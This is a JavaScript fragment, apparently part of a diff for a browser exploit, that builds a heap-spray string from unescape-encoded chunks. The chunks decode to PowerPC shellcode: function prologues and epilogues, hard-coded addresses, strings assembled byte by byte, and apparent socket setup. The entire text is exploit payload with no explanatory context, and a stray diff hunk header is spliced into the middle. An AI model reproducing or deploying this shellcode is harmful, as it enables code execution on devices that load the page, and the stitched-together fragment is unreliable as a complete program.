str += unescape("%u3d40%u0180%u390a%u0a24%u815f%u000c%u7d48%u5214%u894a%u0000%u554a%u063e%u9949%u0000%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%uffc8%u815f%u0040%u813f%u0024%u9149%u0000%u813f%u0038");
str += unescape("%u807f%u0024%u3880%u12b4%u7d29%u03a6%u4e80%u0421%u3d20%u0180%u3929%u09a8%u913f%u0028%u3920%u000a%u913f%u000c%u813f%u0024%u3929%u12b4%u913f%u0010%u4800%u0114%u813f%u000c%u1d29%u000c%u815f%u0028");
str += unescape("%u3d40%u0180%u390a%u0a18%u815f%u000c%u7d48%u5214%u894a%u0000%u554a%u063e%u9949%u0000%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%uffc8%u815f%u0040%u813f%u0024%u9149%u0000%u813f%u0038");
str += unescape("%u807f%u0024%u3880%u1414%u7d29%u03a6%u4e80%u0421%u3d20%u0180%u3929%u09a8%u913f%u0028%u3920%u0009%u913f%u000c%u813f%u0024%u3929%u1414%u913f%u0010%u4800%u0114%u813f%u000c%u1d29%u000c%u815f%u0028");
str += unescape("%u7d2a%u4a14%u8129%u0008%u6529%ua000%u815f%u0010%u3d4a%u6000%u9149%u0000%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u6529%ua000%u8149%u0000%u813f%u0010%u9149%u0000%u813f%u0010");
str += unescape("%u3929%u0004%u913f%u0010%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u3929%u0004%u5529%u01ba%u6529%u4800%u612a%u0002%u813f%u0010%u9149%u0000%u813f%u0010%u3929%u0004%u913f%u0010");
str += unescape("%u813f%u0038%u815f%u0010%u394a%ufff8%u7d43%u5378%u3880%u0008%u7d29%u03a6%u4e80%u0421%u813f%u000c%u1d29%u000c%u815f%u0028%u7d2a%u4a14%u8129%u0000%u6529%ua000%u815f%u000c%u1d4a%u000c%u811f%u0028");
@ -93,97 +93,97 @@ function sprayCode(n) {
str += unescape("%u4e80%u0421%u813f%u000c%u3949%uffff%u915f%u000c%u2f89%u0000%u409e%ufee0%u3d20%ua10c%u6129%u0404%u913f%u002c%u813f%u002c%u3d40%u3860%u9149%u0000%u813f%u002c%u3929%u0004%u3d40%u4e80%u614a%u0020");
str += unescape("%u9149%u0000%u3d20%uffea%u6123%uaa58%u3880%u0000%u4800%u0021%u3d20%uffea%u6123%uaa5c%u3c80%u1400%u4800%u0011%u813f%u0034%u7d29%u03a6%u4e80%u0421%u9421%uffe0%u7c08%u02a6%u9001%u0024%u93a1%u0014");
str += unescape("%u93c1%u0018%u93e1%u001c%u7c3f%u0b78%u907f%u0008%u909f%u000c%u83df%u0008%u83bf%u000c%u3860%u0001%u3880%u0000%u7fa5%ueb78%u38c0%u0000%u38e0%u0000%u3d00%u0001%u7fc9%uf378%u7c3d%u0b78%u3800%u3500");
str += unescape("%u4400%u0002%u6000%u0000%u7fa1%ueb78%u397f%u0020%u800b%u0004%u7c08%u03a6%u83ab%ufff4%u83cb%ufff8%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u0106%u08ac%u011d%ue804%u011d%uf298%u0106%u0974%u011d%ue7d4");
str += unescape("%u011d%uf28c%u0106%u546c%u011d%ue924%u011d%uf2a0%u0106%u0aa4%u011d%uea44%u011d%uf2a8%u0106%u21f8%u011d%ue7e4%u011d%uf290%u0106%ufdc8%u011d%uf170%u011d%uf2b0%u0106%u83c8%u011d%ue894%u011d%uf29c");
str += unescape("%u0106%u8538%u011d%ue7f4%u011d%uf294%u0106%u85fc%u011d%ue98c%u011d%uf2a4%u0106%u8a08%u011d%ueaa8%u011d%uf2ac%u0000%u0078%u0000%u0000%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c");
str += unescape("%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000%u4bee%u3669%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000");
str += unescape("%u4400%u0002%u6000%u0000%u7fa1%ueb78%u397f%u0020%u800b%u0004%u7c08%u03a6%u83ab%ufff4%u83cb%ufff8%u83eb%ufffc%u7d61%u5b78%u4e80%u0020%u0106%u08ac%u011d%ue024%u011d%uf3f8%u0106%u0974%u011d%ue004");
str += unescape("%u011d%uf3f0%u0106%u546c%u011d%ue144%u011d%uf400%u0106%u0aa4%u011d%ue264%u011d%uf408%u0106%uef7c%u011d%uea80%u011d%uf410%u0106%u83c8%u011d%ue0b4%u011d%uf3fc%u0106%u8538%u011d%ue014%u011d%uf3f4");
str += unescape("%u0106%u85fc%u011d%ue1ac%u011d%uf404%u0106%u8a08%u011d%ue2c8%u011d%uf40c%u0000%u006c%u0000%u0000%u3d20%u011e%u8129%uf3f0%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf3f4%u7d29%u03a6%u4e80%u0420");
str += unescape("%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf3f8%u83e1%u000c%u7c08%u03a6%u3821%u0010");
str += unescape("%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u79c5%u3d20%u011e%u8001%u0014%u8129%uf3f8%u83e1%u000c");
str += unescape("%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014");
str += unescape("%u8129%uf3fc%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u7935");
str += unescape("%u3d20%u011e%u8001%u0014%u8129%uf3fc%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf400%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421");
str += unescape("%u3d20%u1000%u6129%u00e4%u3d40%u0a00%u8129%u0000%u7c7f%u1b78%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u5463%u103a%u7c69%u1a14%u4800%u0b29%u8001%u0014%u7fe3%ufb78%u83e1%u000c%u7c08%u03a6");
str += unescape("%u3821%u0010%u4e80%u0020%u7c08%u02a6%u3d20%u011e%u9421%ufff0%u8129%uf404%u93c1%u0008%u7c7e%u1b78%u93e1%u000c%u7d29%u03a6%u9001%u0014%u4e80%u0421%u3d20%u1000%u6129%u00e4%u7c7f%u1b78%u80e9%u0000");
str += unescape("%u3d20%u0a00%u7f87%u4800%u419e%u005c%u2f83%u0000%u419c%u0054%u3900%u0020%u3947%u007c%u3920%u0000%u7d09%u03a6%u4800%u000c%u3929%u0001%u4240%u0038%u850a%u0004%u2f88%u0000%u409e%ufff0%u3949%u0020");
str += unescape("%u3929%u0040%u554a%u103a%u5529%u103a%u7fc7%u512e%u3d40%u1000%u614a%u00e4%u806a%u0000%u7c63%u4a14%u4800%u0a75%u8001%u0014%u7fe3%ufb78%u83c1%u0008%u7c08%u03a6%u83e1%u000c%u3821%u0010%u4e80%u0020");
str += unescape("%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u3d40%u0a00%u6129%u00e4%u93e1%u000c%u9001%u0014%u7c7f%u1b78%u8129%u0000%u7f89%u5000%u419e%u0018%u2b83%u001f%u419d%u0010%u546a%u103a%u7c69%u502e%u4800%u0b15");
str += unescape("%u3d20%u011e%u8001%u0014%u8129%uf408%u7fe3%ufb78%u7c08%u03a6%u83e1%u000c%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d20%u1000%u6129%u00e4%u93c1%u0008%u9001%u0014%u7c7e%u1b78");
str += unescape("%u93e1%u000c%u8109%u0000%u3d20%u0a00%u7f88%u4800%u419e%u0058%u3940%u0020%u3928%u007c%u3be0%u0000%u7d49%u03a6%u4800%u000c%u3bff%u0001%u4240%u003c%u8549%u0004%u7f9e%u5000%u409e%ufff0%u393f%u0040");
str += unescape("%u3bff%u0020%u5529%u103a%u57ff%u103a%u7c68%u482e%u4800%u0a81%u3d20%u1000%u6129%u00e4%u3940%u0000%u8129%u0000%u7d49%uf92e%u3d20%u011e%u8001%u0014%u8129%uf40c%u7fc3%uf378%u83e1%u000c%u7c08%u03a6");
str += unescape("%u83c1%u0008%u7d29%u03a6%u3821%u0010%u4e80%u0420%u9421%ufd48%u7c08%u02a6%u7ce9%u3b78%u3947%u0001%u9341%u02a0%u38e0%uffff%u93c1%u02b0%u7c9a%u2378%u93e1%u02b4%u7ca4%u2b78%u7cbe%u2b78%u7cdf%u3378");
str += unescape("%u7cc5%u3378%u38c1%u027c%u93a1%u02ac%u7c7d%u1b78%u9001%u02bc%u92a1%u028c%u92c1%u0290%u92e1%u0294%u9301%u0298%u9321%u029c%u9361%u02a4%u9381%u02a8%u9121%u027c%u9141%u0278%u4be9%u12b5%u2c03%u0000");
str += unescape("%u4082%u026c%u3940%u0072%u3f60%u1000%u9941%u0280%u637b%u00e4%u9861%u0281%u575c%u103a%u3f20%u011e%u3ee0%u1005%u3f00%u100b%u80a1%u027c%u7fa3%ueb78%u7fc4%uf378%u38c1%u0008%u38e0%uffff%u4be9%u1361");
str += unescape("%u2f83%u0000%u409e%u0214%u895f%u0000%u2f8a%u0000%u419e%u02dc%u3901%u016b%u3920%u0000%u3929%u0001%u9d48%u0001%u7d5f%u48ae%u2f8a%u0000%u409e%ufff0%u3909%u0001%u8941%u006c%u38e1%u0008%u7d27%u4a14");
str += unescape("%u38e0%u002f%u2f8a%u0000%u98e9%u0164%u419e%u0028%u3921%u016c%u38e8%uffff%u7ce9%u3a14%u3921%u006c%u9d47%u0001%u3908%u0001%u8d49%u0001%u2f8a%u0000%u409e%ufff0%u38e1%u0008%u3ac0%u0000%u7d07%u4214");
str += unescape("%u3881%u016c%u9ac8%u0164%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0dfd%u8121%u0008%u2f89%u0000%u419c%u01cc%u3920%u0066%u9ac1%u0270%u9921%u026c%u3920%u0069%u9921%u026d%u3920%u006c%u9921%u026e");
str += unescape("%u3920%u0065%u9921%u026f%u3881%u026c%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0db9%u3939%uf3f0%u8129%u0020%u7fa3%ueb78%u7fc4%uf378%u38a1%u016c%u38c1%u0280%u38e1%u0278%u3900%uffff%u7d29%u03a6");
str += unescape("%u4e80%u0421%u2c03%u0000%u4180%u01b0%u813b%u0000%u7f44%ud378%u80c1%u0278%u38a1%u016c%u7c69%ue02e%u3aa0%u0c80%u4800%u0879%u813b%u0000%u7c76%u1b78%u3881%u016c%u7c69%ue02e%u38a0%u00fb%u4800%u0d55");
str += unescape("%u2f96%u0001%u419e%u019c%u8137%ue9c0%u7ea3%uab78%u3880%u0040%u7d29%u03a6%u4e80%u0421%u7c76%u1b78%u4800%u0010%u80c1%u0278%u7c69%ue02e%u4800%u0a15%u8101%u0278%u7fc4%uf378%u7ec5%ub378%u3920%u0000");
str += unescape("%u38c0%u0001%u7ea7%uab78%u3940%u0000%u7fa3%ueb78%u4be9%u0b55%u7ec4%ub378%u2f83%u0000%u7c65%u1b78%u9061%u0274%u813b%u0000%u419d%uffbc%u7c69%ue02e%u3881%u0274%u80a1%u0278%u4800%u0af5%u80a1%u0278");
str += unescape("%u38e0%uffff%u7fc4%uf378%u38c0%u0000%u7fa3%ueb78%u4be9%u0f3d%u8138%u487c%u7ec3%ub378%u7d29%u03a6%u4e80%u0421%u80a1%u0278%u7fc4%uf378%u38c0%uffff%u7fa3%ueb78%u4be9%u0a71%u80a1%u027c%u7fa3%ueb78");
str += unescape("%u7fc4%uf378%u38c1%u0008%u38e0%uffff%u4be9%u1151%u2f83%u0000%u419e%ufdf4%u80a1%u027c%u7fa3%ueb78%u7fc4%uf378%u38c0%u0000%u4be9%u10b5%u8001%u02bc%u3860%u0000%u82a1%u028c%u7c08%u03a6%u82c1%u0290");
str += unescape("%u82e1%u0294%u8301%u0298%u8321%u029c%u8341%u02a0%u8361%u02a4%u8381%u02a8%u83a1%u02ac%u83c1%u02b0%u83e1%u02b4%u3821%u02b8%u4e80%u0020%u3920%u0064%u9ac1%u026f%u9921%u026c%u3920%u0069%u9921%u026d");
str += unescape("%u3920%u0072%u9921%u026e%u3881%u026c%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0bf9%u80e1%u0278%u7fa3%ueb78%u7f44%ud378%u7fc5%uf378%u38c1%u016c%u4bff%ufca1%u4bff%ufd34%u3863%u0039%u3920%u0030");
str += unescape("%u9861%u026c%u3881%u026c%u9921%u026d%u38a0%u00fb%u813b%u0000%u7c69%ue02e%u4800%u0bb9%u4bff%ufd0c%u3aa0%u0000%u62b5%uc800%u4bff%ufe60%u3900%u0001%u3920%u0000%u4bff%ufd40%u9421%ufea0%u3920%u005f");
str += unescape("%u7c08%u02a6%u9921%u000a%u3920%u002e%u9921%u000f%u3920%u0072%u92c1%u0138%u3ac0%u006c%u92e1%u013c%u3ae0%u0073%u9301%u0140%u3b00%u0061%u9321%u0144%u3b20%u0065%u9341%u0148%u3b40%u0076%u9361%u014c");
str += unescape("%u7c7b%u1b78%u9381%u0150%u3861%u0008%u93c1%u0158%u7c9c%u2378%u3bc0%u006e%u93e1%u015c%u3881%u0108%u3be0%u0000%u9921%u0010%u3920%u0070%u9001%u0164%u93a1%u0154%u7cbd%u2b78%u9bc1%u0008%u9bc1%u0009");
str += unescape("%u9921%u0011%u9ae1%u000b%u9b01%u000c%u9b41%u000d%u9b21%u000e%u9ac1%u0012%u9be1%u0013%u4be4%ubb5d%u3920%u0053%u8061%u0108%u9921%u0008%u3920%u0041%u9921%u0009%u3920%u0056%u9921%u000a%u3920%u0045");
str += unescape("%u9921%u000b%u3920%u0049%u9921%u000c%u3920%u0069%u3880%u0000%u38a1%u0008%u38c1%u0114%u9921%u000e%u3920%u0074%u9bc1%u000d%u9921%u000f%u9be1%u0010%u4be4%ucf7d%u8121%u0114%u7d29%u03a6%u4e80%u0421");
str += unescape("%u3920%u0030%u3900%u002f%u3940%u006f%u38e0%u006d%u9901%u0108%u9901%u010c%u9901%u0111%u3900%u0038%u9921%u0115%u9921%u0116%u9921%u0117%u9921%u0118%u9921%u0119%u9921%u011a%u9921%u011b%u3920%u0063");
str += unescape("%u9941%u010a%u9901%u0114%u3901%u0007%u9921%u0120%u3920%u0076%u9941%u0121%u98e1%u0122%u98e1%u0123%u38e1%u0109%u9941%u0124%u3940%u002f%u9bc1%u0125%u3bc0%u0000%u9b41%u0109%u9ac1%u010b%u9ae1%u010d");
str += unescape("%u9b01%u010e%u9b41%u010f%u9b21%u0110%u9be1%u0112%u9be1%u011c%u9be1%u0126%u4800%u0008%u8d27%u0001%u2f89%u0000%u9d48%u0001%u3bde%u0001%u7d2a%u4b78%u409e%uffec%u3921%u0008%u3b5e%uffff%u7f49%ud214");
str += unescape("%u38c1%u0115%u7f47%ud378%u7fca%uf378%u3920%u0030%u3900%u0038%u4800%u0008%u8d26%u0001%u2f89%u0000%u9d07%u0001%u394a%u0001%u7d28%u4b78%u409e%uffec%u7d41%u5214%u3be0%u0001%u992a%u0008%u4800%u0028");
str += unescape("%u2f89%u0009%u3949%u0057%u9901%u0018%u3929%u0030%u419d%u0058%u2f9f%u0100%u9921%u0019%u3bff%u0001%u419e%u0058%u7f63%udb78%u7fa4%ueb78%u7f85%ue378%u38c1%u0008%u38e0%u0032%u4bff%ufa19%u7fe9%u2670");
str += unescape("%u2f89%u0009%u3949%u0057%u3909%u0030%u57e9%u073e%u40bd%uffb0%u2f89%u0009%u9941%u0018%u3949%u0057%u3929%u0030%u40bd%uffb0%u2f9f%u0100%u9941%u0019%u3bff%u0001%u409e%uffb0%u3901%u0121%u7f4a%ud378");
str += unescape("%u3be0%u006f%u3920%u0063%u4800%u0008%u8fe8%u0001%u2f9f%u0000%u9d2a%u0001%u3bde%u0001%u7fe9%ufb78%u409e%uffec%u7fc1%uf214%u3f40%u1000%u9bfe%u0008%u635a%u00e4%u57be%u103a%u3881%u0008%u813a%u0000");
str += unescape("%u38a0%u00fb%u7c69%uf02e%u4800%u08c9%u7fa4%ueb78%u7f85%ue378%u38c1%u0008%u7f63%udb78%u38e0%u003c%u4bff%uf971%u3920%u0064%u9921%u0128%u3920%u006f%u9921%u0129%u3920%u006e%u9921%u012a%u3920%u0065");
str += unescape("%u9921%u012b%u3920%u0021%u9be1%u012d%u3881%u0128%u9921%u012c%u38a0%u00fb%u813a%u0000%u7c69%uf02e%u4800%u0871%u8001%u0164%u82c1%u0138%u7c08%u03a6%u82e1%u013c%u8301%u0140%u8321%u0144%u8341%u0148");
str += unescape("%u8361%u014c%u8381%u0150%u83a1%u0154%u83c1%u0158%u83e1%u015c%u3821%u0160%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u3d20%u1000%u6129%u00e4%u93a1%u001c%u9001%u002c%u7cbd%u2b78%u93c1%u0020%u7c9e%u2378");
str += unescape("%u8189%u0000%u3d20%u0a00%u93e1%u0024%u7c7f%u1b78%u7f8c%u4800%u419e%u0038%u3940%u0020%u392c%u007c%u38a0%u0000%u7d49%u03a6%u4800%u000c%u38a5%u0001%u4240%u001c%u8569%u0004%u7f9f%u5800%u409e%ufff0");
str += unescape("%u812c%u0280%u2f89%u0000%u419e%u0038%u3d20%u011e%u8001%u002c%u8129%uf410%u7fe3%ufb78%u7fc4%uf378%u83e1%u0024%u83c1%u0020%u7fa5%ueb78%u7d29%u03a6%u83a1%u001c%u3821%u0028%u7c08%u03a6%u4e80%u0420");
str += unescape("%u7fe3%ufb78%u7fc4%uf378%u90c1%u0008%u90e1%u000c%u9101%u0010%u4bff%ufbe5%u3d20%u1000%u3940%u0001%u6129%u00e4%u8001%u002c%u8129%u0000%u7fe3%ufb78%u8101%u0010%u7fc4%uf378%u9149%u0280%u3d20%u011e");
str += unescape("%u8129%uf410%u7fa5%ueb78%u80e1%u000c%u7c08%u03a6%u80c1%u0008%u83a1%u001c%u7d29%u03a6%u83c1%u0020%u83e1%u0024%u3821%u0028%u4e80%u0420%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c");
str += unescape("%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000%u4bee%u2add%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000");
str += unescape("%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020");
str += unescape("%u9421%uffe8%u7c08%u02a6%u93e1%u0014%u7cbf%u2b79%u93a1%u000c%u7c7d%u1b78%u93c1%u0010%u7c9e%u2378%u9001%u001c%u41a1%u000c%u4800%u004c%u409d%u0048%u7fc4%uf378%u7fe5%ufb78%u7fa3%ueb78%u38c0%u0000");
str += unescape("%u4bee%u2a15%u2c03%u0000%u7fe3%uf850%u7fde%u1a14%u2f9f%u0000%u4080%uffd8%u8001%u001c%u83a1%u000c%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u8001%u001c%u3860%u0000%u83a1%u000c");
str += unescape("%u7c08%u03a6%u83c1%u0010%u83e1%u0014%u3821%u0018%u4e80%u0020%u7c08%u02a6%u9421%uffc0%u93c1%u0038%u7c7e%u1b78%u9001%u0044%u93e1%u003c%u4bee%u21b1%u3860%u0002%u3880%u0001%u38a0%u0006%u4bee%u4075");
str += unescape("%u2f83%uffff%u7c7f%u1b78%u419e%u00a8%u3d20%u011e%u3940%u0002%u8129%ue000%u3881%u0018%ub141%u0018%u38a0%u0010%u3940%u1ca4%u9121%u001c%ub141%u001a%u4bee%u26a1%u2f83%u0000%u419c%u0070%u3c80%u1001");
str += unescape("%u38a0%u0010%u3884%u36d0%u3861%u0008%u4be5%u78c5%u7fe3%ufb78%u3881%u0008%u38a0%u0010%u4bff%ufe51%u2f83%u0000%u419c%u0044%u7fe3%ufb78%u3881%u0028%u38a0%u0001%u4bff%ufecd%u2f83%u0000%u419c%u002c");
str += unescape("%u8921%u0028%u2b89%u00ff%u419e%u0020%u8001%u0044%u93fe%u0000%u7c08%u03a6%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u7fe3%ufb78%u4bee%u4111%u8001%u0044%u3920%uffff%u913e%u0000%u7c08%u03a6");
str += unescape("%u83c1%u0038%u83e1%u003c%u3821%u0040%u4e80%u0020%u2f83%uffff%u4d9e%u0020%u4bee%u40e4%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000%u9001%u0034%u63de%u00e4%u9361%u001c%u7cdb%u3378%u813e%u0000");
str += unescape("%u9381%u0020%u7c7c%u1b78%u8149%u0284%u93a1%u0024%u7cbd%u2b78%u2f8a%u0000%u93e1%u002c%u7c3f%u0b78%u419e%u0018%u4bf7%u36e9%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9c%uffff%u3940%u0001");
str += unescape("%u9149%u0284%u419e%u00a4%u391d%uffff%u3940%u0000%u4800%u0008%u7d2a%u4b78%u8ce8%u0001%u392a%u0001%u2f87%u0000%u409e%ufff0%u390a%u0019%u80e1%u0000%u5508%u0036%u7d26%u4b79%u7d08%u00d0%u7c3e%u0b78");
str += unescape("%u7ce1%u416e%u3900%u000a%u7cc9%u03a6%u38aa%u000a%u3881%u0008%u9901%u0008%u9124%u0005%u3920%u0000%u9364%u0001%u4081%u0080%u7cfd%u48ae%u7d04%u4a14%u3929%u0001%u98e8%u0009%u4200%ufff0%u7f83%ue378");
str += unescape("%u4bff%ufced%u2f83%u0000%u419c%u0014%u7f83%ue378%u389f%u0008%u38a0%u0001%u4bff%ufd69%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6%u6129%u00e4");
str += unescape("%u8129%u0000%u3940%u0000%u836b%uffec%u9149%u0284%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%uff7c%u7c08%u02a6%u9421%uffd0%u93c1%u0028%u3fc0%u1000");
str += unescape("%u9001%u0034%u63de%u00e4%u9341%u0018%u7cda%u3378%u813e%u0000%u9361%u001c%u7c7b%u1b78%u8149%u0284%u9381%u0020%u7cbc%u2b78%u2f8a%u0000%u93a1%u0024%u93e1%u002c%u7c9d%u2378%u7c3f%u0b78%u419e%u0018");
str += unescape("%u4bf7%u358d%u813e%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9b%uffff%u3940%u0001%u9149%u0284%u419e%u007c%u393c%u0018%u8141%u0000%u5529%u0036%u2f9c%u0000%u7d29%u00d0%u7c3e%u0b78%u7d41%u496e");
str += unescape("%u3920%u000b%u7f89%u03a6%u38bc%u0009%u3881%u0008%u9921%u0008%u9344%u0001%u3920%u0000%u9384%u0005%u409d%u0018%u7d1d%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0009%u4200%ufff0%u7f63%udb78%u4bff%ufbb1");
str += unescape("%u7f63%udb78%u389f%u0008%u38a0%u0001%u4bff%ufc35%u8121%u0000%u913e%u0000%u7fc1%uf378%u397f%u0030%u800b%u0004%u3d20%u1000%u83eb%ufffc%u7c08%u03a6%u6129%u00e4%u8129%u0000%u3940%u0000%u834b%uffe8");
str += unescape("%u9149%u0284%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c9c%u2378%u813f%u0000");
str += unescape("%u93a1%u001c%u7cbd%u2b78%u8149%u0284%u93c1%u0020%u7c7e%u1b78%u2f8a%u0000%u419e%u0018%u4bf7%u3471%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u2f9e%uffff%u3940%u0001%u9149%u0284%u419e%u009c");
str += unescape("%u3920%u0002%u7fc3%uf378%u3881%u0008%u38a0%u0005%u9921%u0008%u93a1%u0009%u4bff%ufad5%u2f83%u0000%u419c%u0078%u7fc3%uf378%u3881%u0010%u38a0%u0001%u4bff%ufb51%u2f83%u0000%u419c%u0060%u8921%u0010");
str += unescape("%u2b89%u00ff%u419e%u0054%u7fc3%uf378%u7f84%ue378%u38a0%u0004%u4bff%ufb2d%u2f83%u0000%u419c%u003c%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%u0000");
str += unescape("%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u3860%uffff%u83a1%u001c%u83c1%u0020");
str += unescape("%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020%u7c08%u02a6%u9421%uffd8%u93e1%u0024%u3fe0%u1000%u9001%u002c%u63ff%u00e4%u9381%u0018%u7c7c%u1b78%u813f%u0000%u93a1%u001c%u7c9d%u2378%u8149%u0284");
str += unescape("%u93c1%u0020%u7cbe%u2b78%u2f8a%u0000%u419e%u0018%u4bf7%u333d%u813f%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u7f83%ue378%u9149%u0284%u3881%u0008%u3920%u000c%u38a0%u0009%u9921%u0008");
str += unescape("%u93a1%u0009%u93c1%u000d%u4bff%uf9a5%u8001%u002c%u3d20%u1000%u6129%u00e4%u3940%u0000%u7c08%u03a6%u8129%u0000%u8381%u0018%u83a1%u001c%u83c1%u0020%u83e1%u0024%u9149%u0284%u3821%u0028%u4e80%u0020");
str += unescape("%u2f83%uffff%u7c08%u02a6%u9421%uffe0%u9381%u0010%u7c7c%u1b78%u93e1%u001c%u7c3f%u0b78%u9001%u0024%u9361%u000c%u93a1%u0014%u93c1%u0018%u419e%u00dc%u3fa0%u1000%u7c9e%u2378%u63bd%u00e4%u7cbb%u2b78");
str += unescape("%u813d%u0000%u8149%u0284%u2f8a%u0000%u419e%u0018%u4bf7%u327d%u813d%u0000%u8149%u0284%u2f8a%u0000%u409e%ufff0%u3940%u0001%u391e%uffff%u9149%u0284%u3920%u0000%u4800%u0008%u7d49%u5378%u8ce8%u0001");
str += unescape("%u3949%u0001%u2f87%u0000%u409e%ufff0%u3909%u0015%u80e1%u0000%u5508%u0036%u7d46%u5379%u7d08%u00d0%u7c3d%u0b78%u7ce1%u416e%u38a9%u0006%u7cc9%u03a6%u3920%u0000%u3881%u0008%u9b61%u0008%u9144%u0001");
str += unescape("%u4081%u0070%u7d1e%u48ae%u7d44%u4a14%u3929%u0001%u990a%u0005%u4200%ufff0%u3920%u0000%u7f83%ue378%u992a%u0006%u4bff%uf889%u3d40%u1000%u614a%u00e4%u8121%u0000%u814a%u0000%u913d%u0000%u3920%u0000");
str += unescape("%u912a%u0284%u7fa1%ueb78%u397f%u0020%u800b%u0004%u83eb%ufffc%u7c08%u03a6%u836b%uffec%u838b%ufff0%u83ab%ufff4%u83cb%ufff8%u7d61%u5b78%u4e80%u0020%u3940%u0001%u7d49%u03a6%u4bff%uff8c%u3d20%u011e");
str += unescape("%u8129%uf28c%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf290%u7d29%u03a6%u4e80%u0420%u3d20%u011e%u8129%uf294%u7d29%u03a6%u4e80%u0420%u7c08%u02a6%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000");
str += unescape("%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf298%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0");
str += unescape("%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u71e5%u3d20%u011e%u8001%u0014%u8129%uf298%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6%u4e80%u0420%u7c08%u02a6");
str += unescape("%u9421%ufff0%u3d40%u0a00%u93e1%u000c%u3fe0%u1000%u9001%u0014%u63ff%u00e4%u813f%u0000%u7f89%u5000%u419e%u0024%u3d20%u011e%u8001%u0014%u8129%uf29c%u83e1%u000c%u7c08%u03a6%u3821%u0010%u7d29%u03a6");
str += unescape("%u4e80%u0420%u3d20%u1005%u3880%u0040%u8129%ue9c0%u3860%u0288%u7d29%u03a6%u4e80%u0421%u3880%u0000%u907f%u0000%u38a0%u0288%u4be5%u7155%u3d20%u011e%u8001%u0014%u8129%uf29c%u83e1%u000c%u7c08%u03a6");
